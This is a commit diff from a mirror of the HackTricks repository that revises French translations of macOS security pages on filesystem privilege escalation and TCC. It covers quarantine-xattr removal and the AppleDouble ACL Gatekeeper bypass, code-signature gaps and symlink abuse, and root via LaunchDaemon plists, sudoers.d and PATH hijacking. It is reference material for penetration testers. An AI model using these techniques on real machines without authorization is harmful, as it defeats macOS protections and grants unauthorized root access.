mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
c12f3182d8
commit
ee4a80ea30
2 changed files with 122 additions and 73 deletions
|
@ -1,14 +1,14 @@
|
|||
# Astuces pour le système de fichiers macOS
|
||||
# Astuces FS macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,35 +16,37 @@
|
|||
|
||||
Permissions dans un **répertoire** :
|
||||
|
||||
* **lecture** - vous pouvez **énumérer** les entrées du répertoire
|
||||
* **écriture** - vous pouvez **supprimer/écrire** des fichiers dans le répertoire
|
||||
* **exécution** - vous êtes **autorisé à traverser** le répertoire - si vous n'avez pas ce droit, vous ne pouvez pas accéder à aucun fichier à l'intérieur, ni à aucun sous-répertoire.
|
||||
* **read** - vous pouvez **énumérer** les entrées du répertoire
|
||||
* **write** - vous pouvez **supprimer/écrire** des **fichiers** dans le répertoire et vous pouvez **supprimer des dossiers vides**.
|
||||
* Mais vous **ne pouvez pas supprimer/modifier des dossiers non vides** à moins d'avoir des permissions d'écriture dessus.
|
||||
* Vous **ne pouvez pas modifier le nom d'un dossier** à moins de le posséder.
|
||||
* **execute** - vous êtes **autorisé à traverser** le répertoire - si vous n'avez pas ce droit, vous ne pouvez pas accéder à aucun fichier à l'intérieur, ni dans aucun sous-répertoire.
|
||||
|
||||
### Combinaisons dangereuses
|
||||
|
||||
**Comment écraser un fichier/dossier appartenant à root**, mais :
|
||||
|
||||
* Le propriétaire d'un **répertoire parent** dans le chemin est l'utilisateur
|
||||
* Le propriétaire d'un **répertoire parent** dans le chemin est un **groupe d'utilisateurs** avec un **accès en écriture**
|
||||
* Un **groupe d'utilisateurs** a un **accès en écriture** au **fichier**
|
||||
* Un **propriétaire de répertoire parent** dans le chemin est l'utilisateur
|
||||
* Un **propriétaire de répertoire parent** dans le chemin est un **groupe d'utilisateurs** avec un accès **write**
|
||||
* Un **groupe d'utilisateurs** a un accès **write** au **fichier**
|
||||
|
||||
Avec l'une de ces combinaisons précédentes, un attaquant pourrait **injecter** un **lien sym/hard** dans le chemin attendu pour obtenir une écriture arbitraire privilégiée.
|
||||
Avec l'une des combinaisons précédentes, un attaquant pourrait **injecter** un **lien sym/hard** sur le chemin attendu pour obtenir une écriture arbitraire privilégiée.
|
||||
|
||||
### Cas spécial du répertoire racine R+X
|
||||
### Cas spécial de dossier root R+X
|
||||
|
||||
Si des fichiers se trouvent dans un **répertoire** où **seul root a un accès R+X**, ceux-ci ne sont **accessibles à personne d'autre**. Ainsi, une vulnérabilité permettant de **déplacer un fichier lisible par un utilisateur**, qui ne peut pas être lu en raison de cette **restriction**, de ce répertoire **vers un autre**, pourrait être exploitée pour lire ces fichiers.
|
||||
Si un **répertoire** contient des fichiers où **seul root a un accès R+X**, ceux-ci ne sont **accessibles à personne d'autre**. Ainsi, une vulnérabilité permettant de **déplacer un fichier lisible par un utilisateur**, qui ne peut pas être lu à cause de cette **restriction**, de ce dossier **vers un autre**, pourrait être exploitée pour lire ces fichiers.
|
||||
|
||||
Exemple ici : [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||
Exemple sur : [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||
|
||||
## Lien symbolique / Lien physique
|
||||
|
||||
Si un processus privilégié écrit des données dans un **fichier** qui pourrait être **contrôlé** par un **utilisateur moins privilégié**, ou qui pourrait avoir été **précédemment créé** par un utilisateur moins privilégié. L'utilisateur pourrait simplement **le pointer vers un autre fichier** via un lien symbolique ou physique, et le processus privilégié écrira sur ce fichier.
|
||||
Si un processus privilégié écrit des données dans un **fichier** qui pourrait être **contrôlé** par un **utilisateur moins privilégié**, ou qui aurait pu être **préalablement créé** par un utilisateur moins privilégié. L'utilisateur pourrait simplement **le pointer vers un autre fichier** via un lien symbolique ou physique, et le processus privilégié écrira sur ce fichier.
|
||||
|
||||
Vérifiez dans les autres sections où un attaquant pourrait **exploiter une écriture arbitraire pour escalader les privilèges**.
|
||||
Consultez les autres sections où un attaquant pourrait **abuser d'une écriture arbitraire pour escalader des privilèges**.
|
||||
|
||||
## .fileloc
|
||||
|
||||
Les fichiers avec l'extension **`.fileloc`** peuvent pointer vers d'autres applications ou binaires, de sorte que lorsque ceux-ci sont ouverts, l'application/binaire sera celui qui sera exécuté.\
|
||||
Les fichiers avec l'extension **`.fileloc`** peuvent pointer vers d'autres applications ou binaires de sorte que lorsqu'ils sont ouverts, l'application/binaire sera celle exécutée.\
|
||||
Exemple :
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -58,19 +60,19 @@ Exemple :
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
## FD arbitraire
|
||||
## Descripteur de fichier arbitraire
|
||||
|
||||
Si vous pouvez faire en sorte qu'un **processus ouvre un fichier ou un dossier avec des privilèges élevés**, vous pouvez exploiter **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, de sorte que `exploit.py` obtienne le FD du fichier à l'intérieur de `/etc/sudoers` et l'exploite.
|
||||
Si vous pouvez faire en sorte qu'un **processus ouvre un fichier ou un dossier avec des privilèges élevés**, vous pouvez abuser de **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, ainsi `exploit.py` obtiendra le descripteur de fichier vers le fichier à l'intérieur de `/etc/sudoers` et pourra l'exploiter.
|
||||
|
||||
Par exemple: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
Par exemple : [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
|
||||
## Astuces pour éviter les attributs étendus de quarantaine
|
||||
## Éviter les astuces de quarantaine xattrs
|
||||
|
||||
### Supprimez-le
|
||||
### Supprimer
|
||||
```bash
|
||||
xattr -d com.apple.quarantine /path/to/file_or_app
|
||||
```
|
||||
### Drapeau uchg / uchange / uimmutable
|
||||
### drapeau uchg / uchange / uimmutable
|
||||
|
||||
Si un fichier/dossier possède cet attribut immuable, il ne sera pas possible d'y ajouter un xattr.
|
||||
```bash
|
||||
|
@ -82,9 +84,9 @@ xattr: [Errno 1] Operation not permitted: '/tmp/asd'
|
|||
ls -lO /tmp/asd
|
||||
# check the "uchg" in the output
|
||||
```
|
||||
### Montage defvfs
|
||||
### Montage devfs
|
||||
|
||||
Un montage **defvfs** **ne prend pas en charge les xattr**, plus d'informations dans [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
Un montage **devfs** **ne prend pas en charge xattr**, plus d'informations dans [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
|
||||
```bash
|
||||
mkdir /tmp/mnt
|
||||
mount_devfs -o noowners none "/tmp/mnt"
|
||||
|
@ -93,9 +95,9 @@ mkdir /tmp/mnt/lol
|
|||
xattr -w com.apple.quarantine "" /tmp/mnt/lol
|
||||
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
||||
```
|
||||
### ACL writeextattr
|
||||
### writeextattr ACL
|
||||
|
||||
Cet ACL empêche l'ajout de `xattrs` au fichier.
|
||||
Cette ACL empêche l'ajout de `xattrs` au fichier
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
|
@ -118,13 +120,13 @@ ls -le /tmp/test
|
|||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
Le format de fichier **AppleDouble** copie un fichier y compris ses ACEs.
|
||||
Le format de fichier **AppleDouble** copie un fichier incluant ses ACEs.
|
||||
|
||||
Dans le [**code source**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html), il est possible de voir que la représentation textuelle ACL stockée à l'intérieur de l'xattr appelé **`com.apple.acl.text`** sera définie comme ACL dans le fichier décompressé. Ainsi, si vous compressez une application dans un fichier zip avec le format de fichier **AppleDouble** avec une ACL qui empêche l'écriture d'autres xattrs dessus... l'xattr de quarantaine ne sera pas défini dans l'application :
|
||||
Dans le [**code source**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html), il est possible de voir que la représentation textuelle de l'ACL stockée dans l'xattr appelé **`com.apple.acl.text`** va être définie comme ACL dans le fichier décompressé. Ainsi, si vous avez compressé une application dans un fichier zip avec le format de fichier **AppleDouble** avec une ACL qui empêche d'autres xattrs d'être écrits dessus... l'xattr de quarantaine n'a pas été défini dans l'application :
|
||||
|
||||
Consultez le [**rapport original**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) pour plus d'informations.
|
||||
|
||||
Pour reproduire cela, nous devons d'abord obtenir la chaîne d'ACL correcte :
|
||||
Pour reproduire cela, nous devons d'abord obtenir la chaîne acl correcte :
|
||||
```bash
|
||||
# Everything will be happening here
|
||||
mkdir /tmp/temp_xattrs
|
||||
|
@ -142,9 +144,9 @@ ditto -c -k del test.zip
|
|||
ditto -x -k --rsrc test.zip .
|
||||
ls -le test
|
||||
```
|
||||
(Notez que même si cela fonctionne, le bac à sable écrit l'attribut étendu de quarantaine avant)
|
||||
(Notez que même si cela fonctionne, le sandbox écrit l'attribut xattr de quarantaine avant)
|
||||
|
||||
Pas vraiment nécessaire mais je le laisse là au cas où:
|
||||
Pas vraiment nécessaire mais je le laisse là au cas où :
|
||||
|
||||
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
||||
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
||||
|
@ -152,9 +154,9 @@ Pas vraiment nécessaire mais je le laisse là au cas où:
|
|||
|
||||
## Contourner les signatures de code
|
||||
|
||||
Les bundles contiennent le fichier **`_CodeSignature/CodeResources`** qui contient le **hash** de chaque **fichier** dans le **bundle**. Notez que le hash de CodeResources est également **incorporé dans l'exécutable**, donc nous ne pouvons pas y toucher non plus.
|
||||
Les bundles contiennent le fichier **`_CodeSignature/CodeResources`** qui contient le **hash** de chaque **fichier** dans le **bundle**. Notez que le hash de CodeResources est également **intégré dans l'exécutable**, donc nous ne pouvons pas non plus interférer avec cela.
|
||||
|
||||
Cependant, il existe certains fichiers dont la signature ne sera pas vérifiée, ceux-ci ont la clé "omit" dans la plist, comme suit:
|
||||
Cependant, il existe certains fichiers dont la signature ne sera pas vérifiée, ceux-ci ont la clé omit dans le plist, comme :
|
||||
```xml
|
||||
<dict>
|
||||
...
|
||||
|
@ -198,15 +200,17 @@ Cependant, il existe certains fichiers dont la signature ne sera pas vérifiée,
|
|||
...
|
||||
</dict>
|
||||
```
|
||||
Il est possible de calculer la signature d'une ressource à partir de la ligne de commande avec :
|
||||
Il est possible de calculer la signature d'une ressource depuis le cli avec :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
|
||||
```
|
||||
## Monter des fichiers DMG
|
||||
{% endcode %}
|
||||
|
||||
Un utilisateur peut monter un fichier DMG personnalisé même par-dessus certains dossiers existants. Voici comment vous pouvez créer un package DMG personnalisé avec un contenu personnalisé :
|
||||
## Monter des dmgs
|
||||
|
||||
Un utilisateur peut monter un dmg personnalisé même par-dessus certains dossiers existants. Voici comment vous pourriez créer un package dmg personnalisé avec un contenu personnalisé :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -235,13 +239,13 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
|
||||
### Scripts sh périodiques
|
||||
|
||||
Si votre script peut être interprété comme un **script shell**, vous pouvez écraser le script shell **`/etc/periodic/daily/999.local`** qui sera déclenché tous les jours.
|
||||
Si votre script peut être interprété comme un **script shell**, vous pourriez écraser le script shell **`/etc/periodic/daily/999.local`** qui sera déclenché tous les jours.
|
||||
|
||||
Vous pouvez **simuler** l'exécution de ce script avec la commande : **`sudo periodic daily`**
|
||||
Vous pouvez **simuler** une exécution de ce script avec : **`sudo periodic daily`**
|
||||
|
||||
### Daemons
|
||||
|
||||
Écrivez un **LaunchDaemon** arbitraire tel que **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** avec un plist exécutant un script arbitraire comme suit :
|
||||
Écrivez un **LaunchDaemon** arbitraire comme **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** avec un plist exécutant un script arbitraire tel que :
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -258,15 +262,16 @@ Vous pouvez **simuler** l'exécution de ce script avec la commande : **`sudo per
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Générez simplement le script `/Applications/Scripts/privesc.sh` avec les **commandes** que vous souhaitez exécuter en tant que root.
|
||||
```markdown
|
||||
Créez simplement le script `/Applications/Scripts/privesc.sh` avec les **commandes** que vous souhaitez exécuter en tant que root.
|
||||
|
||||
### Fichier Sudoers
|
||||
|
||||
Si vous avez la possibilité d'écrire arbitrairement, vous pouvez créer un fichier dans le dossier **`/etc/sudoers.d/`** vous accordant des privilèges **sudo**.
|
||||
Si vous avez un **écriture arbitraire**, vous pourriez créer un fichier dans le dossier **`/etc/sudoers.d/`** vous accordant les privilèges **sudo**.
|
||||
|
||||
### Fichiers PATH
|
||||
|
||||
Le fichier **`/etc/paths`** est l'un des principaux endroits qui alimentent la variable d'environnement PATH. Vous devez être root pour le remplacer, mais si un script d'un **processus privilégié** exécute une **commande sans le chemin complet**, vous pourriez peut-être le **détourner** en modifiant ce fichier.
|
||||
Le fichier **`/etc/paths`** est l'un des principaux endroits qui peuple la variable d'environnement PATH. Vous devez être root pour le remplacer, mais si un script d'un **processus privilégié** exécute une **commande sans le chemin complet**, vous pourriez être capable de **détourner** cela en modifiant ce fichier.
|
||||
|
||||
 Vous pouvez également écrire des fichiers dans **`/etc/paths.d`** pour charger de nouveaux dossiers dans la variable d'environnement `PATH`.
|
||||
|
||||
|
@ -278,10 +283,11 @@ Le fichier **`/etc/paths`** est l'un des principaux endroits qui alimentent la v
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -14,9 +14,9 @@
|
|||
|
||||
## **Informations de base**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** est un mécanisme dans macOS pour **limiter et contrôler l'accès des applications à certaines fonctionnalités**, généralement d'un point de vue de la vie privée. Cela peut inclure des choses telles que les services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité, l'accès complet au disque et bien d'autres.
|
||||
**TCC (Transparency, Consent, and Control)** est un mécanisme dans macOS pour **limiter et contrôler l'accès des applications à certaines fonctionnalités**, généralement d'un point de vue de la confidentialité. Cela peut inclure des choses telles que les services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité, l'accès complet au disque et bien d'autres.
|
||||
|
||||
Du point de vue de l'utilisateur, il voit TCC en action **lorsqu'une application souhaite accéder à l'une des fonctionnalités protégées par TCC**. Lorsque cela se produit, **l'utilisateur est invité** avec une boîte de dialogue lui demandant s'il souhaite autoriser l'accès ou non.
|
||||
Du point de vue de l'utilisateur, ils voient TCC en action **lorsqu'une application souhaite accéder à l'une des fonctionnalités protégées par TCC**. Lorsque cela se produit, **l'utilisateur est invité** avec une boîte de dialogue lui demandant s'il souhaite autoriser l'accès ou non.
|
||||
|
||||
Il est également possible de **donner aux applications l'accès** aux fichiers par des **intentions explicites** des utilisateurs, par exemple lorsqu'un utilisateur **glisse-dépose un fichier dans un programme** (évidemment, le programme devrait y avoir accès).
|
||||
|
||||
|
@ -24,7 +24,7 @@ Il est également possible de **donner aux applications l'accès** aux fichiers
|
|||
|
||||
**TCC** est géré par le **daemon** situé dans `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` et configuré dans `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (enregistrant le service mach `com.apple.tccd.system`).
|
||||
|
||||
Il existe un **tccd en mode utilisateur** fonctionnant par utilisateur connecté défini dans `/System/Library/LaunchAgents/com.apple.tccd.plist` enregistrant les services mach `com.apple.tccd` et `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
Il y a un **tccd en mode utilisateur** exécuté par utilisateur connecté défini dans `/System/Library/LaunchAgents/com.apple.tccd.plist` enregistrant les services mach `com.apple.tccd` et `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Ici, vous pouvez voir le tccd fonctionnant en tant que système et en tant qu'utilisateur :
|
||||
```bash
|
||||
|
@ -70,7 +70,7 @@ com.apple.rootless.storage.TCC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Cependant, les utilisateurs peuvent **supprimer ou interroger des règles** avec l'utilitaire de ligne de commande **`tccutil`**.
|
||||
Cependant, les utilisateurs peuvent **supprimer ou interroger les règles** avec l'utilitaire de ligne de commande **`tccutil`**.
|
||||
{% endhint %}
|
||||
|
||||
#### Interroger les bases de données
|
||||
|
@ -134,7 +134,7 @@ En vérifiant les deux bases de données, vous pouvez vérifier les permissions
|
|||
|
||||
<summary>Comment exécuter si c'est un chemin absolu</summary>
|
||||
|
||||
Faites simplement **`launctl load your_bin.plist`**, avec un plist comme :
|
||||
Faites simplement **`launctl load you_bin.plist`**, avec un plist comme :
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -174,7 +174,7 @@ Faites simplement **`launctl load your_bin.plist`**, avec un plist comme :
|
|||
<details>
|
||||
|
||||
* La valeur **`auth_value`** peut prendre différentes valeurs : refusée(0), inconnue(1), autorisée(2), ou limitée(3).
|
||||
* La valeur **`auth_reason`** peut prendre les valeurs suivantes : Erreur(1), Consentement de l'utilisateur(2), Défini par l'utilisateur(3), Défini par le système(4), Politique de service(5), Politique MDM(6), Politique de surpassement(7), Chaîne d'utilisation manquante(8), Délai d'attente de l'invite(9), Pré-vérification inconnue(10), Autorisé(11), Politique de type d'application(12)
|
||||
* La valeur **`auth_reason`** peut prendre les valeurs suivantes : Erreur(1), Consentement de l'utilisateur(2), Défini par l'utilisateur(3), Défini par le système(4), Politique de service(5), Politique MDM(6), Politique de remplacement(7), Chaîne d'utilisation manquante(8), Délai d'attente de l'invite(9), Pré-vérification inconnue(10), Autorisé(11), Politique de type d'application(12)
|
||||
* Le champ **csreq** est là pour indiquer comment vérifier le binaire à exécuter et accorder les permissions TCC :
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
|
@ -209,7 +209,7 @@ tccutil reset All
|
|||
```
|
||||
### Contrôles de signature TCC
|
||||
|
||||
La base de données TCC stocke l'**ID de bundle** de l'application, mais elle conserve également des **informations** sur la **signature** pour **s'assurer** que l'application demandant à utiliser une permission est la bonne.
|
||||
La base de données TCC stocke l'**ID de bundle** de l'application, mais elle conserve également des **informations** sur la **signature** pour **s'assurer** que l'application demandant l'utilisation d'une permission est la bonne.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -231,10 +231,10 @@ Ainsi, d'autres applications utilisant le même nom et ID de bundle ne pourront
|
|||
|
||||
### Droits et Permissions TCC
|
||||
|
||||
Les applications **doivent non seulement** **demander** et **obtenir l'accès** à certaines ressources, mais elles doivent également **posséder les droits appropriés**.\
|
||||
Par exemple, **Telegram** possède le droit `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui **n'a pas** ce **droit ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas sollicité pour donner les permissions).
|
||||
Les applications **doivent non seulement** **demander** et avoir **reçu l'accès** à certaines ressources, mais elles doivent également **posséder les droits pertinents**.\
|
||||
Par exemple, **Telegram** possède le droit `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui **n'a pas** ce **droit ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas sollicité pour les permissions).
|
||||
|
||||
Cependant, pour que les applications **accèdent** à **certains dossiers utilisateur**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **droits spécifiques**. Le système gérera l'accès de manière transparente et **sollicitera l'utilisateur** si nécessaire.
|
||||
Cependant, pour que les applications **accèdent** à **certains dossiers utilisateur**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **droits spécifiques**. Le système gérera l'accès de manière transparente et **sollicitera l'utilisateur** au besoin.
|
||||
|
||||
Les applications d'Apple **ne généreront pas de demandes**. Elles contiennent des **droits pré-accordés** dans leur liste de **droits**, ce qui signifie qu'elles ne **généreront jamais de popup**, **ni** n'apparaîtront dans aucune des bases de données **TCC**. Par exemple :
|
||||
```bash
|
||||
|
@ -250,7 +250,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
Cela évitera à l'application Calendrier de demander à l'utilisateur d'accéder aux rappels, au calendrier et au carnet d'adresses.
|
||||
|
||||
{% hint style="success" %}
|
||||
En plus de certaines documentations officielles sur les droits, il est également possible de trouver des **informations intéressantes non officielles sur les droits dans** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
En plus de certaines documentations officielles sur les droits, il est également possible de trouver des **informations intéressantes non officielles sur les droits sur** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
{% endhint %}
|
||||
|
||||
Certaines permissions TCC sont : kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Il n'existe pas de liste publique qui les définit toutes, mais vous pouvez consulter cette [**liste des connues**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
|
||||
|
@ -286,7 +286,7 @@ Notez également que si vous déplacez un fichier qui autorise l'UUID d'une appl
|
|||
|
||||
L'attribut étendu `com.apple.macl` **ne peut pas être effacé** comme les autres attributs étendus car il est **protégé par SIP**. Cependant, comme [**expliqué dans cet article**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), il est possible de le désactiver en **compressant** le fichier, en le **supprimant** et en le **décompressant**.
|
||||
|
||||
## Élévation de privilèges et contournements TCC
|
||||
## Élévation de privilèges TCC & Contournements
|
||||
|
||||
### Insérer dans TCC
|
||||
|
||||
|
